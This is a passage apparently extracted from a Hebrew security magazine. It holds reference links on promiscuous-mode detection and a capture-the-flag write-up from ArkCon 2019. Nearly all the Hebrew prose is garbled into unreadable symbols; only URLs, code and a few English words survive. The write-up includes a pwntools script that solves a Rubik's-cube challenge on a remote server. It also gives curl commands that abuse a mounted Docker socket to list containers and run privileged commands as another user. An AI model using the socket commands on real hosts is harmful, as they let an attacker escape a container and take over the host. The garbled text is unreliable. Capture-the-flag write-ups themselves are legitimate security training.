˶˸ˣ˧˟ ˫˧ˡˬ˥ˮˢˣ ˶˸ˣ˧˟ ˞˴˧˷ ˧˪ ˶˧˩ˢ˪ . ,˭˩ˣ˪ ˢ˟˶ ˢˡˣ˸ ˪˞˧˦˯˵ ˵˧˲˞˸ˮ˧ˣ˴ˬˢ ˢ˩˧˶˰ˢ ˪˰. 

ˢˡˣ˸ ˣˢ˪˧˧˶ ˧˸˥˲˷ˬ˪ˣ . 
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˪˰ ˶˟˥ˬˢ 

ˢ˧ˮ˟ ,˭˟ 19 ,˦ˮˡˣ˦˯ ˧˰ˡˬ˪ ˟˷˥ˬˢ ˢ˦˧˯˶˟˧ˮˣ˞˟ ˢ˥ˣ˸˲ˢ .˭˧˧ˮ˰˸ˬ ˥ˣ˸˧˲˟ ˢˮ˩ˣ˸ ,˸˶ˣ˷˵˸˟ 

˸˥˦˟˞˟ˣ ˰ˡ˧ˬ. ˭˸˧ˮ ˸ˣˮ˲˪ ˧˧˪˞ ˪˩˪ ˢ˪˞˷: bnayaYoo@gmail.com. ˪˪˩ ˫˧˦˲˧˶˵˯ˢ ˣ˰˧˲ˣˢ˷ 

˨ˬ˯ˬ˟ ,˸˲˯ˣ˸˟ ˡˣ˰˧˸ ˶˴˵ ˸ˣ˫˧ˮˣ˵˧ ˫˧˞˴ˬˮ :˞˟ˢ ˶ˣ˷˧˵˟ 

https://github.com/bnaya19/PromiscuousModeDetection/tree/master/detection%20scripts 

 

˸ˣ˶ˣ˵ˬ ˸ˣˮˣˬ˸˪ ˫˧ˬ˧˷˶˸˪ˣ 

¶ https://en.wikipedia.org/wiki/Promiscuous_mode 

¶ https://www.cubrid.org/blog/understanding-tcp-ip-network-stack 

¶ https://www.gatevidyalay.com/ethernet-ethernet-frame-format 

¶ http://www.just.edu.jo/~tawalbeh/nyit/incs745/presentations/Sniffers.pdf 

¶ https://slideplayer.com/slide/9510821/ 

¶ https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care/ 

 

ˢ˪ ˫˧˶ˣ˷˧˵ˢ˵ˬ˰ ˸˲˯ˣˮ 

¶ http://www.securityfriday.com/promiscuous_detection_01.pdf 

¶ http://hadmernok.hu/132_27_nagyd_1.pdf 

¶ http://hadmernok.hu/132_28_nagyd_2.pdf 

¶ https://pdfs.semanticscholar.org/e71d/fb37402252ef66072518720fc217891e1bd4.pdf 

¶ http://www.lsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf 

¶ https://www.iasj.net/iasj?func=fulltext&aId=29687 

¶ https://gupea.ub.gu.se/bitstream/2077/1159/1/Nr_3_DS.pdf 

¶ http://www.lsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf 

¶ https://shodhganga.inflibnet.ac.in/bitstream/10603/108363/9/09_chapter%203.pdf 

 

  

mailto:bnayaYoo@gmail.com
https://github.com/bnaya19/PromiscuousModeDetection/tree/master/detection%20scripts
https://en.wikipedia.org/wiki/Promiscuous_mode
https://www.cubrid.org/blog/understanding-tcp-ip-network-stack
https://www.gatevidyalay.com/ethernet-ethernet-frame-format
http://www.just.edu.jo/~tawalbeh/nyit/incs745/presentations/Sniffers.pdf
https://slideplayer.com/slide/9510821/
https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care/
http://www.securityfriday.com/promiscuous_detection_01.pdf
http://hadmernok.hu/132_27_nagyd_1.pdf
http://hadmernok.hu/132_28_nagyd_2.pdf
https://pdfs.semanticscholar.org/e71d/fb37402252ef66072518720fc217891e1bd4.pdf
http://www.lsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf
https://www.iasj.net/iasj?func=fulltext&aId=29687
https://gupea.ub.gu.se/bitstream/2077/1159/1/Nr_3_DS.pdf
http://www.lsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf
https://shodhganga.inflibnet.ac.in/bitstream/10603/108363/9/09_chapter%203.pdf
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 ˧˶ˠ˸˞ ˸˶ˡ˯ArkCon 2019 (OnSite) 

 ˸˞ˬYaakovCohen88 x- Dvd848 

 

ˢˬˡ˵ˢ 

 ˪˷ ˫˧˶ˠ˸˞ˢ ˸˶ˡ˯˪ ˨˷ˬˢ˟CyberArk  ˯ˮ˩ ˸˞˶˵˪ArkCon 2019 ˫˧˶ˠ˸˞ ˢ˷ˣ˪˷ ˪˪˩ ˣˬ˴˰ ˯ˮ˩ˢ ,

˯ˣˮ˸ˣ˰˷ ˶˲˯ˬ˪ ˫˧˥ˣ˸˲ ˣ˧ˢ ˶˷˞ ˫˧˲ .˶ˬ˞ˬ˟- ˸˷ˣ˪˷˪ ˣˮ˪˷ ˭ˣ˶˸˲ˢ ˸˞ ˞˧˟ˮ ˢˤ ˨˷ˬˢ .˯ˮ˩ˢ ˧˶ˠ˸˞

 ˭˧˧ˮˣ˰ˬˣ ˞˶˵ ˞˪˷ ˧ˬ˪-  ˫ˡˣ˵ˢ ˭ˣ˧˪ˠ˟˶ˬ˞ˬ ˣˮˬ˯˶˲ .˯ˮ˩˪ ˣˬˡ˵˷ ˫˧˶ˠ˸˞˪ ˸ˣˮˣ˶˸˲ˢ ˫˰ 

 

˶ˠ˸˞ #1 :IAmCu*e )100,000 ˸ˣˡˣ˵ˮ( 

 

:˞˟ˢ ˦˪˲ˢ ˸˞ ˢ˞˶ˮ ,˸˶˷˪ ˶˟˥˸ˮ ˫˞ 

 
 ˯˧˯˟˟ ˦˪˵ ˷˵˟ˬ ˸˶˷ˢ12:˪˟˵ˮˣ ˞ˬˠˣˡ˪ ˦˪˵ ˯˧ˮ˩ˮ . 

https://thearkcon.com/challenges
https://www.digitalwhisper.co.il/files/Zines/0x6A/DW106-3-ArkCon19.pdf
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 ˨˩) ˸˧˪ˠ˰ˬ ˢ˶ˣ˴˟ ˢ˪˞ˬ˷ ˢ˪ˣ˩ "ˢˤˤ" ˸˧˰˧˟˶ˢ ˢ˶ˣ˷ˢ˷ ˢ˞˶˸ ˧ˣˮ˧˷ˢ ˪˷ ˸˵ˡ˵ˣˡˬ ˢˮ˧˥˟

ˣ˧˟ ˸˧ˮˬ˧ˢ ˢ˧˧˷˧˪˷ˢ ˶ˣ˸˟ ˢˬ˴˰ ˸˞ ˢ˞˴ˬ ˶˸ˣ˧˟ ˸˧˪˞ˬ˷ˢ ˢ˧˧˷˧˪˷ˢ˷ ˣ˰˴˧˟ ˸ˣ˧˷˧˪˷ˢ ˶˞˷ˣ ,˶˸

.(ˢ˪˞ˬ˷ ˢ˴˧˲˵ 

" ˦˪˵ˢ ,˞ˬˠˣˡ˪ .˸˶˥˞ ˢ˶ˣ˴˟ ˦˪˲ˢ ˸˞ ˣ˟˟˶˰ ˫˧ˮˣ˷ ˫˧˦˪˵1 ˢ˶ˣ˴˟ ˢˮ˧ˬ˧ ˸˧˰˧˟˶ˢ ˢ˶ˣ˷ˢ ˸˞ ˤ˧ˤˢ "

 .ˢˮˣ˷ ˭˲ˣ˞˟ ˸ˣ˧˷˧˪˷ ˣˤ˧ˤˢ ˸ˣ˶˥˞ ˸ˣ˪ˣ˰˲ˣ ,˸˧˪ˠ˰ˬ 

:˶ˣˤ˰˧ ˞˟ˢ ˤˬ˶ˢ˷ ˭˩˸˧˧ .ˠ˴˧˧ˬ ˦˯˵˦ˢ ˵ˣ˧ˡ˟ ˢˬ ˸ˣ˞˶˪ ˢ˷˵ ˸˴˵ ,˭ˣ˷˞˶ ˦˟ˬ˟ 

 

 ˣˮ˪ ˷˧ ˰˷˸ ˶ˤˣ˥ ˫ˢˬ ˡ˥˞ ˪˩ˣ ,˫˧˰˟˴ ˢ˷˧˷ ˣˮ˪ ˷˧ .˫˧˵˪˥ ˢ˰˷˸˪ ˸˵˪ˣ˥ˬ ˸˥˞ ˪˩ ,˸ˣ˞˲ ˷˷

!˸˧˶ˠˮˣˢ ˢ˧˧˟ˣ˵ ...˟ ˶˟ˣˡˬ .˫˧ˬ˰˲ 

 ˣ˸ˢˣ ,˰˟˴ˢ ˪˷ ˢˮˣ˷˞˶ˢ ˸ˣ˞ˢ ˞ˣˢ ˭ˣ˷˞˶ˢ ˣ˸ˢ :˫˧ˣˣ˸ ˧ˮ˷ ˧ˡ˧ ˪˰ ˠ˴ˣ˧ˬ ˵˪˥ ˪˩˷ ˢ˞˶ˮ ,ˣˮ˪˷ ˢ˶˵ˬ˟

.˶ˡˣ˯˸ ˢ˧˧˟ˣ˵ˢ˷˩ ,ˡ˧˸˰˟ ˣˮ˸ˣ˞ ˷ˬ˷˧ ˢ˞˶ˮ˩ ˧ˮ˷ˢ 

˰˲ˢ ˶˯˧˶˸˪ ˸ˣˬ˧˞˸ˬ ˰˴˟˪ ˭˸˧ˮ˷ ˸ˣ˪ˣ˸ˣ˪ˣ˰˲ˢ ˶˯˧˶˸ :˸˧˶ˠˮˣˢ ˢ˧˧˟ˣ˵ ˶ˣ˟˰ ˸ˣ˶ˡˠˣˬ˷ 

https://ruwix.com/the-rubiks-cube/how-to-solve-the-rubiks-cube-beginners-method/
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.ˢ˧˧˟ˣ˵ˢ ˸˞ ˶ˣ˸˲˪ ˣˮ˧˪˰ :˭˧˦ˣ˪˥˪ ˶ˣ˶˟ ˸ˣ˧ˢ˪ ˨˧˶˴ ˞˟ˢ ˡ˰˴ˢ ,˸ˠ˷ˣˬ ˣˤˢ ˢˮ˟ˣ˸ˢ˷ ˰ˠ˶ˢˬ 

˧˶ˬˣ˞ˬ ˶˸ˣ˧ ˞˪ ˸ˣ˰˴ˬ˞˟ ˢ˧˧˟ˣ˵ ˪˩ ˶ˣ˸˲˪ ˭˸˧ˮ˷ ˫-20  ˶ˣ˸˲˪ ˫˧˰ˡˣ˧˷ ˫˧˶˷˩ˣˬ ˫˧˷ˮ˞ ˫ˮ˷˧ .˫˧˩˪ˢˬ

ˣˡ˟ ˸ˠ˴ˣ˧ˬ˷ ˢ˧˧˟ˣ˵ ˶ˣ˸˲˪ ˣ˥˧˪˴˧ ˱˞ ˫˵˪˥ ˧˪ˣ˞ˣ ,˭˧˦ˣ˪˥˪ ˸˧˦ˬˣ˦ˣ˞ ˢ˶ˣ˴˟ ˸ˣ˧˶ˠˮˣˢ ˸ˣ˧˟ˣ˵- ˪˩ .ˡˬ˧ˬ

 ˣˬ˩ ,˸ˣ˧˶ˠˮˣˢ ˸ˣ˧˟ˣ˵ ˭ˣ˶˸˲˪ ˸ˣˮ˩ˣˬ ˸ˣ˧˶˲˯˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˶˞˷ˢˣˤ ˸˞ ˠ˴˧˧˪ ˣˮ˧˪˰ ,˭˩ ˧ˮ˲˪ ˨˞ .

.ˢ˪ ˢ˲˴ˬ ˢ˧˧˶˲˯ˢ˷ ˠˣ˴˧˧˪ ˢ˸ˣ˞ ˶˧ˬˢ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ,ˢ˥ˣˮ ˢ˶ˣ˴˟ ˣˮ˪ ˢˮ˸˧ˮ˷ ˢ˧˧˟ˣ˵ˢ 

 ˫˧ˮˮˣ˵ˬ ˫˧˩˶˰ˬ ˸ˣ˰˴ˬ˞˟ ˢ˧˧˟ˣ˵ˢ ˸˞ ˠ˴˧˧ˮ ˣˮ˥ˮ˞-  ˫˧˩˶˰ˬ ˢ˷ˣ˪˷ ˣ˟˷ ,˨˶˰ˬ ˧ˡ˧ ˪˰ ˠ˴ˣ˧˸ ˢ˞˲ ˪˩

 .˸ˣ˶ˣ˷ ˫˧ˠ˴˧˧ˬˢ.ˣˮ˪˷ ˢ˧˧˟ˣ˵ˢ ˸˞ ˠ˴˧˧˷ ˪ˣˡˠ ˨˶˰ˬ˟ ˣ˶ˬ˷˧˧ ˸ˣ˞˲ˢ ˸˷˷ 

:˞˟ˢ ˭˲ˣ˞˟ ˠ˴ˣ˧˸ ˫ˡˣ˵ ˣˮ˧˞˶˷ ˢ˧˧˟ˣ˵ˢ ,˶ˬˣ˪˩ 

[  [[ 'gE' ,  'bI' ,  'yI' ],  [ 'rO' ,  'wO' ,  'gE' ],  [ 'gF' ,  'wT' ,  'bE' ]],   

  [[ 'oH' ,  'gN' ,  'rL' ],  [ 'yO' ,  'oN' ,  'oT' ],  [ 'rG' ,  'rA' ,  'y&' ]],   

  [[ 'w!' ,  'rA' ,  'rB' ],  [ 'wG' ,  ' gE' ,  'wT' ],  [ 'oR' ,  'bY' ,  'bR' ]],   

  [[ 'yH' ,  'yK' ,  'rF' ],  [ 'g - ' ,  'rW' ,  'bE' ],  [ 'oO' ,  'bE' ,  'wY' ]],   

  [[ 'gL' ,  'wO' ,  'wI' ],  [ 'rG' ,  'bT' ,  'oU' ],  [ 'o - ' ,  'oI' ,  'b - ' ]],   

  [[ 'gS' ,  'o:' ,  'yO' ],  [ 'yT' ,  'yR' ,  'yS' ],  [ 'wU' ,  'gC' ,  'bS' ]]  ]  

˪ ˯˥˧˧˸ˢ˪ ˪˧˥˸ˮ ,˸ˣ˥ˣˮˢ ˫˷˪:˫˧˞˟ˢ ˸ˣˬ˷ˢ ˸ˣ˰˴ˬ˞˟ ˸ˣˮˣ˷ˢ ˸ˣ˞˲ 

 

:˫˧˞˟ˢ ˫˧˯˵ˡˮ˧˞ˢ ˸˞ ˸ˣ˪˟˵ˬ ˸ˣ˞˲ˢ ,ˣˮ˪˷ ˨˶˰ˬ˟ 

UP      = 0 

LEFT    = 1 

FRONT   = 2 

RIGHT   = 3 

BACK    = 4 

DOWN    = 5 

 

https://github.com/muodov/kociemba
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 ˧ˡ˧ ˪˰ ˞˧ˢ ˫˧ˮˮˣ˵ˬ ˫˧˩˶˰ˬ ˸ˣ˰˴ˬ˞˟ ˢ˧˧˟ˣ˵ˢ ˠˣ˴˧˧˪ ˪˧ˠ˶˸ˢ ˪˷ ˧˪˞ˣ˦˯˵˦ˢ ˠˣ˴˧˧ˢˬ ˶ˣ˟˰˪ ˣˮ˪˷ ˨˶ˡˢ

ˮˣ˲˟ ˷ˣˬ˧˷:˞˟ˢ ˢ˧˴˵ 

def  get_cube ( lines ):  

    cube_arr = []  

    rows = []  

    for  line in  lines . split ( " \ n" ):  

        line = line . rstrip ()  

        if  line !=  "" :  

            rows . append ( line . split ())  

    assert ( len ( rows )  == 9)  

     

    cube_arr . append ([ rows [ i ]  for  i i n range ( 3)])  

 

    for  i in  range ( 4):  

        cube_arr . append ([ rows [ 3 + j ][ i *  3:  i *  3 + 3]  for  j in  

range ( 3)])  

     

    cube_arr . append ([ rows [ i + 6]  for  i in  range ( 3)])  

˟˵˪ ˢ˲˴ˬ ˢ˧˧˶˲˯ˢ˷ ˠˣ˴˧˧˪ ˣ˸ˣ˞ ˶˧ˬˢ˪ ˣˮ˧˪˰ ,ˣ˸˧˞ ˡˣ˟˰˪ ˣˮ˪ ˥ˣˮ˷ ˠˣ˴˧˧ ˣˮ˶˴˧˧˷ ˶˥˞˪ ,˸˰˩ .˦˪˵˩ ˪

 ˢ˞˲ˢ ˪˷ ˫˧˰˟˴ˢ ˸˰˷˸ ˫ˡˣ˵ :˫˧ˣ˯ˬ ˶ˡ˯˟ ˫˧ˣˣ˸ ˪˷ ˢ˩ˣ˶˞ ˸ˤˣ˶˥ˬ ˢ˷˶ˡ ˢ˧˧˶˲˯ˢU ˭˩ˬ ˶˥˞˪ ,

 ˪˷ ˢ˪˞R ˤ˞ˣ ,F, D, L, B:˷ˡ˥ˬ ˢ˧˧˟ˣ˵ˢ ˸˞ ˶ˡ˯˪ ˥ˣˮ ˢ˧ˢ ,˨˩ ˫˷˪ . 

cube_arr_new = [ cube_arr [ UP],  cube_arr [ RIGHT],  cube_arr [ FRONT],  

cube_arr [ DOWN],  cube_arr [ LEFT],  cube _arr [ BACK]]  

:(˫˧ˣˣ˪ˮˢ ˫˧ˣˣ˸ˢ ˞˪˪ ,˰˟˴ˢ ˪˷ ˸ˣ˧˸ˣ˞ˢ) ˢ˧˧ˮ˷ ˸ˣ˞ ˪˩ ˶˧ˤ˥ˢ˪ˣ ,ˢ˩ˣ˶˞ ˸ˤˣ˶˥ˬ˪ ˢ˸ˣ˞ "˥˦˷˪" ˤ˞ˣ 

"" . join ( list ( itertools . chain . from_iterable ( itertools . chain . from_iterable

( cube_arr_new ))))[:: 2]  

:ˢ˷˶ˡ ˢ˧˧˶˲˯ˢ˷ ˫˧ˣˣ˸˪ ˫˧˰˟˴ˢ ˸˞ ˶˧ˬˢ˪ ,˱ˣ˯˟˪ˣ 

cube = cube . replace ( "w" ,  "U" ). replace ( "r" ,  "R" ). replace ( "g" ,  

"F" ). replace ( "y" ,  "D" ). replace ( "o" ,  "L" ). replace ( "b" ,  "B" )  

 ˵˪˥) ˢˮ˸˷ˬ ˣˮ˧˞ ˫˰˲ ˱˞˷ ,ˢ˞˲ˢ ˪˷ ˧˰˴ˬ˞ˢ ˵˪˥ˢ ˪˷ ˰˟˴ˢ ˧ˡ˧ ˪˰ ˰˟˵ˮ ˢ˞˲ ˪˷ ˰˟˴ˢ :˶˟˯ˢ

:˫ˢ ˫˧˰˟˴ˢ ,ˣˮ˪˷ ˞ˬˠˣˡ˟ .(ˤˣˤ˪ ˪ˣ˩˧ ˞˪ ˢˤ 

 

 ˞˪ ˢ˧˧˶˲˯ˢ ˪˷ ˠˣ˴˧˧ˢ ˪˷ ˶˷˵ˢ˟ ˫˧˰˟˴˪ ˯˥˧˧˸ˮ˷ ˷˵˟ˬ ˞˪˞ ,˫˧˰˟˴ ˪˷ ˫˧˷˶ˣ˲ˬ ˸ˣˬ˷ ˪˟˵˪ ˭˩ˣˬ

 ˸˷˵˟ˬ ˢ˧˧˶˲˯ˢ ,(˭˟˪ ˞ˣˢ ˢ˪˷ ˧˰˴ˬ˞ˢ ˵˪˥ˢ) ˭˟˪ ˰˟˴ ˣˮ˷˧ ˢˮˣ˧˪˰ˢ ˢ˞˲˪˷ ˭ˣˣ˧˩ˬ ,˞ˬˠˣˡ˪ .˸ˣ˞˲

 ˡˣˡ˧˵ˢ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˢ˷˰ˮ ,˭˟˪ ˰˟˴ ˠ˴˧˧˪ ˢ˴˶ˮ˷ ˫˰˲ ˪˩˟˷U  ˸˞˲ ˫˷ ˪˰)UP.( 
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˞ˬˠˣˡ˟ ˣˮ˧˞˶˷ ˸˧˶ˣ˵ˬˢ ˢ˧˧˟ˣ˵ˢ :˞˟ˢ ˠˣ˴˧˧ˢ ˸˞ ˪˟˵˸ 

DFBBUUFRFURRFRBLBULFRUFULBBFLDDDDUFBFUUDLLRRDDDRRBLLLB 

:˞˟ˢ ˭ˣ˶˸˲ˢ ˸˞ ˢ˶ˣ˟˰ ˟˷˥˸ ˢ˧˧˶˲˯ˢˣ 

F' B'  R L ' D'  L2 U2 R L2 B L ' U'  L2 U2 L2 U B2 D L2 D ' R2  

 ˢ˶˲˯ˢ ˶˷˞˩2 .˫˧˧ˬ˰˲ ˣ˸ˣ˞ ˰˴˟˪ ˷˧ ˫˞ ˣˢ˷˪˩ ˡ˰˴˪ ˸ˡˬ˴ˣˬ 

˟˵ˮˣ ˫˧ˡ˰˴ˢ ˧˲˪ ˢ˧˧˟ˣ˵ˢ ˸˞ ˶ˣ˸˲ˮ:˪ 

 

 ˸˞ ˪˧˩ˬ˷ ˞˟ˢ ˶˯ˬˢ ˸˞ ˪˟˵ˮ ,ˣ˧˪˞ ˵˶ˣ ˨˞ ˯˥˧˧˸ˮ ˫˞ .˧ˮ˷ˢ ˣ˸ˢ ˣˢˬ ˶ˣ˶˧˟˟ ˸ˣ˞˶˪ ˶˷˲˞ ˸˰˩

:˪ˠˡˢ 

YOUGOTIT! - THE- FLAG- IS : NICENOWGETYOURSELFABEER&KIORTOSH 

:˞˪ˬˢ ˡˣ˵ˢ 

import  kociemba  

import  itertools  

from  pwn import  *  

import  time  

 

MENU_STRING = "Please enter an  input in Base - 12: "  

 

UP      = 0 

LEFT    = 1 

FRONT   = 2 

RIGHT   = 3 

BACK    = 4 

DOWN    = 5 

 

def  center_color_at ( cube_arr ,  face ):  

    return  cube_arr [ face ][ 1][ 1][ 0]  

 

def  get_cube ( lines ):  

    cube_arr = []  

    rows = []  

    for  line in  lines . split ( " \ n" ):  

        line = line . rstrip ()  

        if  line !=  "" :  

            rows . append ( line . split ())  

    assert ( len ( rows )  == 9)  

     

    cube_arr . append ([ rows [ i ]  for  i in  range ( 3)])  

 

    for  i in  range ( 4):  

        cube_arr . append ([ rows [ 3 + j ][ i *  3:  i *  3 + 3]  for  j in  range ( 3)])  
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    cube_arr . append ([ rows [ i + 6]  for  i in  range ( 3)])  

 

    assert ( center_color_at ( cube_arr ,  UP)     == 'w' )  

    assert ( center_color_at ( cube_arr ,  LEFT)   == 'o' )  

    assert ( center_color_at ( cube_arr ,  FRONT)  == 'g' )  

    assert ( center_color_at ( cube_arr ,  RIGHT)  == 'r' )  

    assert ( center_color_at ( cube_arr ,  BACK)   == 'b' )  

    assert ( center_color_at ( cube_arr ,  DOWN)   == 'y' )  

 

    cube_arr_new = [ cube_arr [ UP],  cube_arr [ RIGHT],  cube_arr [ FRONT],  

cube_arr [ DOWN],  cube_arr [ LEFT],  cube_arr [ BACK]]  

 

    retur n 

"" . join ( list ( itertools . chain . from_iterable ( itertools . chain . from_iterable ( cube_ar

r_new ))))[:: 2]  

 

r = remote ( "18.197.75.101" ,  "1337" )  

data = r . recvuntil ( MENU_STRING,  drop = True )  

 

print  data  

cube = get_cube ( data )  

cube = cube . replace ( "w" ,  "U" ). replace ( "r" ,  "R" ). replace ( "g" ,  "F" ). replace ( "y" ,  

"D" ). replace ( "o" ,  "L" ). replace ( "b" ,  "B" )  

 

moves = [ "U" ,  "U'" ,  "D" ,  "D'" ,  "F" ,  "F'" ,  "B" ,  "B'" ,  "R" ,  "R'" ,  "L" ,  "L'" ]  

sol = kociemba . solve ( cube )  

 

print  "Steps to solve: \ n{}" . format ( sol )  

 

formatted_sol = []  

 

for  command in  sol . split ():  

    num_commands = 1 if  "2"  not  in  command else  2 

    clean_command = command. rstrip ( "2" )  

    for  i in  range ( num_commands):  

        formatted_sol . append ( str ( format ( moves. index ( clean_command ),  'x' )))  

 

print  " \ nFormatted steps: \ n{}" . format ( ", " . join ( formatted_sol ))  

r . sendline ( "" . join ( formatted_sol ))  

 

output = r . recvuntil ( "You got it..." ,  drop = True )  

cubes = output . split ( MENU_STRING)  

print  cubes [ - 1]  

print  "" . join ( cubes [ - 1]. split ( " \ n" )). replace ( " " ,  "" )[ 1:: 2]  
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:ˢ˴˧˶˪ ˞ˬˠˣˡ 
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˶ˠ˸˞ #2 :Inception )30,000 ˸ˣˡˣ˵ˮ( 

 

˭ˣ˶˸˲: 

ˢ ˶ˠ˸˞˪ ˨˷ˬˢ ˞ˣˢ ˢˤˢ ˶ˠ˸˞ˢ-Container .˫ˡˣ˵ˢ ˟˟˯˟ ˣˮ˧˞˶˷ 

 

ˢˬ ˥ˣ˶˟˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ˷ ˢ˞˶ˮ ,ˢˤˢ ˶ˠ˸˞˟ ˫ˠ-container  .˥˶˞ˬˢ ˟˷˥ˬˢ ˪˞ ,ˢ˴ˣ˥ˢ ˣˮ˪˷

 ˦˶˯ˢ ˥ˣ˶˟ ˧ˣˮ˟ ˶ˠ˸˞ˢ ,˫˰˲ˢ˷ ˞˪˞eptionInc ˫˰ ,container-.˸ˣˬˣ˪˥ ˪˵˷ˬ ˪˰ ˫˧  ˶˟˯ˣˬ ˶ˣ˲˧˯ˢ

 ,ˣˮ˪˷ ˷ˬ˸˷ˬˢ ˸˧˧˵˧˸˟ ˞˴ˬˮ˷ ˦˯˵˦ ˳˟ˣ˵˟cobb :(˦˶˯ˢ ˶ˣ˟˧ˠ ˞ˣˢ˷) 

 

https://en.wikipedia.org/wiki/Inception
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?˫˧˴˟˵ˢ ˶˞˷ ˧˟ˠ˪ ˢˬˣ 

 

.˫˰˲ˢ ˣ˥˧˪˴ˢ ˞˪ ˫ˡˣ˵ˢ ˶ˠ˸˞˟ ˣˡ˟˰˷ ˸ˣ˦˧˷ˢ˷ ˭˧˧˴˪ ˶˸ˣ˧ˬ .˧ˮ˷ˢ ˫ˣ˪˥˪ ˨˧˷ˬˮ .˪˵ ˢ˧ˢ ˢˤ  ˭˩ ˢˬ

˥ ˶ˬˣ˪˩ ,˸ˣ˶ˣ˵ˬ˪ ˢ˶ˤ˥ ?ˡ˟˰ˬ ˢ˥˧˶˟˪ ˸ˣ˧˦˶ˡˮ˦˯ ˸ˣ˦˧˷ ˷ˣ˲˧-container- ˪˷ ˫˧Docker. 

 ˢ˧ˢ ˷ˣ˲˧˥˟ ˫˰˲ ˶˥˞ ˫˰˲ ˣ˪˰˷ ˫˧˶˟ˡˢ ˡ˥˞/var/run/docker.sock ˟ ˶˩ˤˣˢ ˱˞ ˞ˣˢ) ˭ˣ˧˪ˠˬ ˶ˬ˞ˬ97 

 ˧˶ˠ˸˞ ˭ˣ˶˸˲ ˪˰BSidesTLV 2018ˢ ˣˢˤ .(-Socket ˢ˷-daemon  ˪˷Docker  ˣ˸ˣ˰˴ˬ˞˟ˣ ,ˣ˧˪˰ ˭˧ˤ˞ˬ

ˢ ˫˰ ˶˷˵˸˪ ˶˷˲˞-daemon ˢ ˨ˣ˸ˬ-container ,˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ ˸˧˪ˮˣ˧˴˵ˮˣ˲ ˢˮ˧˥˟ˬ ˥ˣˮ ˧˪ˣ˞ ˢˤ .

 ˸˴˶˲ ˥˸ˣ˲ ˨˞˪ ˱ˣ˷˥ ˞ˣˢ ˫˞ ˸˧ˮ˧˴˶ ˡˣ˞ˬ ˢ˥˦˟˞-container  ˵˧ˮ˰ˬ ˞ˣˢ ˧˶ˢ˷ ,ˣ˧˪˰ ˨ˣˬ˯˪ ˭˸˧ˮ ˞˪˷

ˢ ˸˩˶˰ˬ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷-Docker. 

 ˞ˣˢ ˪ˣˢ˧ˮˢ ˵˷ˬˬ ˫˰ ˸ˣ˷˰˪ ˶˷˲˞˷ ˶˸ˣ˧˟ ˫˧˧˯˧˯˟ˢ ˫˧˶˟ˡˢ ˡ˥˞˟ ˸ˣ˲˴˪-inerconta-˫˧ˮˣ˷ˢ ˫˧ ,

ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ 

curl  -- unix - socket /var/run/docker.sock http/containers/json ?all =1 

ˢ˞˴ˣ˸ˢ: 

 

:˫˰ ˶˞˷˧ˮ ,˷˰˶ ˸˴˵ ˢ˴ˣ˥ˢ ˭ˮ˯ˮ ˫˞ 

[{ "Id" : "c33004f0bc60ea9384b76a1d005816041872b10a566eda5a20990cf6149cec27

" ,  "Image" : "mydockerid7/dream2" },  

{ "Id" : "1 dc62a9336538ef6b92732c5b6108dc8a0d14241b11f2d0556b56e212d42fc9f"

,  "Image" : "mydockerid7/dream1.1_light" }]  

https://docs.docker.com/engine/reference/commandline/dockerd/#examples
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://docs.docker.com/engine/api/v1.24/#list-containers
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 ˧ˮ˷ ˢ˲ ˸ˣ˞˶˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˶ˬˣ˪˩container- ˷˧˷˩ ,˸˰˩ˣ .˧ˮ˷ˢ ˪˷ ˡ˥˞ˣ ˭ˣ˷˞˶ˢ ˫ˣ˪˥ˢ ˪˷ ˡ˥˞ ,˫˧

!˸ˣˡˣ˵˲ ˫ˢ˧˪˰ ˳˧˶ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˫ˢ˪˷ ˢˢˤˬˢ ˸˞ ˣˮ˪ 

˶ˢ˪ ˧ˡ˩:˫˧˞˟ˢ ˫˧ˡ˰˴˟ ˷ˬ˸˷ˮ ,ˢˡˣ˵˲ ˳˧ 

 ˫ˣ˵ˬ˟ ˢˢˤˬˢ ˸˞ ˯˧ˮ˩ˢ˪ ˷˧) ˳˧˶ˢ˪ ˣˮˮˣ˴˶˟˷ ˢˡˣ˵˲ˢ ˸˞ ˸˪˪ˣ˩˷ ˢ˞˟ˢ ˸˧ˮ˟˸ˢ ˸˞ ˥˪˷ˮ ,˪˩ ˫ˡˣ˵

 ˸ˡˣ˵˲ ˧ˢˣˤ) ˫˧˞˸ˬˢcreate-exec:( 

curl  - X POST -- unix - socket /var /run/docker.sock 

http/v1.24/containers/ <container_id >/exec - H "Content -

Type:application/json" - d '{"AttachStdin": true, "AttachStdout": true, 

"AttachStderr": true, "Cmd": ["ls", "/home/"], "DetachKeys": "ctrl -

p,ctrl - q", "Privileged": true,"Tty": true, "Use r": "cobb"}'  

:ˢ˷˵˟ ˢˢˤˬ ˪˟˵ˮ ˢ˟ˣ˷˸ ˶ˣ˸˟ 

 

 ˸ˡˣ˵˲) ˢ˞˟ˢ ˸˧ˮ˟˸˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˦˪˲ˢ ˸˞ ˣ˸ˣ˰˴ˬ˞˟ ˞˶˵ˮˣ ˢˤˢ ˢˢˤˬˢ ˸˞ ˥˵˧ˮstart-exec 

:(ˢˡˣ˵˲ˢ ˸˞ ˢ˴˧˶ˬ ˫˴˰˟˷ 

curl  - X POST -- unix - socket /var/ run/docker.sock 

http/v1.24/exec/ <command_id >/start - H "Content - Type:application/json" - d 

'{"Detach": false, "Tty": false}' -- output -  

:˪˷ˬ˪ 

 

